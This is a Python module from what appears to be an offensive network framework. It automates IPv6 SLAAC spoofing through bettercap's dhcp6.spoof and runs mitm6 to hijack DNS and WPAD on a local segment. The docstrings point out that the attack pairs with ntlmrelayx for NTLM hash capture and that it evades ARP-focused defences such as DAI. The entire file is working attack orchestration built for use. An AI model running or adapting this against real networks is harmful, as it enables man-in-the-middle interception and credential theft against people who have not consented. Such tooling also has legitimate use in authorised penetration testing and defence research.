#!/usr/bin/env python3
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.

Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
Combines two approaches:
  1. bettercap dhcp6.spoof: Router Advertisement injection
  2. mitm6: Targeted WPAD/DNS takeover via IPv6

This is significantly stealthier than ARP spoofing — most networks
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
"""

import logging
import os
import subprocess
import threading
import time
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)


class IPv6SLAAC(BaseModule):
    """IPv6 SLAAC spoofing via bettercap + mitm6.

    Dependencies:
        - bettercap_mgr must be running (for dhcp6.spoof)
        - mitm6 must be installed (pip install mitm6)

    Configuration:
        target_domain: Domain to target with mitm6 WPAD abuse
        mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
        interface: Network interface (default: eth0)
    """

    name = "ipv6_slaac"
    module_type = "active"
    priority = 200
    requires_root = True
    dependencies = ["bettercap_mgr"]

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._bettercap_mgr = None
        self._mitm6_proc: Optional[subprocess.Popen] = None
        self._mitm6_thread: Optional[threading.Thread] = None
        self._slaac_active = False
        self._mitm6_active = False
        self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
        self._iface = config.get("interface", "eth0")
        self._target_domain: Optional[str] = None

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._bettercap_mgr = self.config.get("bettercap_mgr")
        if not self._bettercap_mgr:
            logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")

    def stop(self) -> None:
        if not self._running:
            return

        self.stop_all()
        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("IPv6SLAAC module stopped")

    def status(self) -> dict:
        mitm6_alive = (
            self._mitm6_proc is not None and self._mitm6_proc.poll() is None
        )
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "slaac_active": self._slaac_active,
            "mitm6_active": self._mitm6_active and mitm6_alive,
            "target_domain": self._target_domain,
            "interface": self._iface,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "interface" in config:
            self._iface = config["interface"]
        if "mitm6_binary" in config:
            self._mitm6_binary = config["mitm6_binary"]

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def start_slaac(self) -> bool:
        """Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.

        Injects Router Advertisements to become the IPv6 DNS server
        for all hosts on the segment.

        Returns:
            True if SLAAC spoofing was enabled.
        """
        if not self._running or not self._bettercap_mgr:
            logger.error("IPv6SLAAC not started")
            return False

        try:
            self._bettercap_mgr.run_command("dhcp6.spoof on")
            self._slaac_active = True
            self.state.set(self.name, "slaac_active", "true")
            logger.info("IPv6 SLAAC spoofing enabled via bettercap")
            return True
        except Exception:
            logger.exception("Failed to enable SLAAC spoofing")
            return False

    def start_mitm6(self, domain: str = None) -> bool:
        """Start mitm6 for WPAD abuse and DNS takeover via IPv6.

        mitm6 sends RA messages advertising itself as the IPv6 DNS
        server, then responds to WPAD requests to redirect proxy
        configuration. Effective for NTLM hash capture when combined
        with ntlmrelayx.

        Args:
            domain: Target domain for WPAD abuse (e.g., "corp.local").

        Returns:
            True if mitm6 was started.
        """
        if not self._running:
            logger.error("IPv6SLAAC not started")
            return False

        if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
            logger.warning("mitm6 already running")
            return True

        self._target_domain = domain or self.config.get("target_domain", "")

        cmd = [self._mitm6_binary, "-i", self._iface]
        if self._target_domain:
            cmd.extend(["-d", self._target_domain])

        try:
            self._mitm6_proc = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            )
            time.sleep(2)
            if self._mitm6_proc.poll() is not None:
                stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
                logger.error("mitm6 failed to start: %s", stderr)
                return False

            self._mitm6_active = True

            # Start output monitoring thread
            self._mitm6_thread = threading.Thread(
                target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
            )
            self._mitm6_thread.start()

            self.state.set(self.name, "mitm6_active", "true")
            logger.info(
                "mitm6 started (pid=%d, domain=%s)",
                self._mitm6_proc.pid, self._target_domain or "all",
            )
            return True

        except FileNotFoundError:
            logger.error("mitm6 not found at %s", self._mitm6_binary)
            return False
        except Exception:
            logger.exception("Failed to start mitm6")
            return False

    def stop_all(self) -> bool:
        """Stop all IPv6 SLAAC and mitm6 operations.

        Returns:
            True if all components were stopped.
        """
        success = True

        # Stop SLAAC spoofing
        if self._slaac_active and self._bettercap_mgr:
            try:
                self._bettercap_mgr.run_command("dhcp6.spoof off")
                self._slaac_active = False
                self.state.set(self.name, "slaac_active", "false")
                logger.info("SLAAC spoofing disabled")
            except Exception:
                logger.exception("Failed to disable SLAAC spoofing")
                success = False

        # Stop mitm6
        if self._mitm6_proc and self._mitm6_proc.poll() is None:
            try:
                self._mitm6_proc.terminate()
                self._mitm6_proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self._mitm6_proc.kill()
                try:
                    self._mitm6_proc.wait(timeout=2)
                except Exception:
                    pass
            except Exception:
                logger.exception("Failed to stop mitm6")
                success = False
            self._mitm6_proc = None

        self._mitm6_active = False
        self.state.set(self.name, "mitm6_active", "false")
        return success

    # ------------------------------------------------------------------
    # mitm6 output monitoring
    # ------------------------------------------------------------------

    def _monitor_mitm6(self) -> None:
        """Monitor mitm6 stderr for authentication events."""
        if not self._mitm6_proc:
            return

        try:
            for line in iter(self._mitm6_proc.stderr.readline, b""):
                if not self._running:
                    break
                decoded = line.decode("utf-8", errors="replace").strip()
                if not decoded:
                    continue

                # mitm6 logs DNS queries and WPAD requests
                if "Sent spoofed" in decoded or "IPv6 address" in decoded:
                    logger.debug("mitm6: %s", decoded)

                # Check for process exit
                if self._mitm6_proc.poll() is not None:
                    break
        except Exception:
            pass
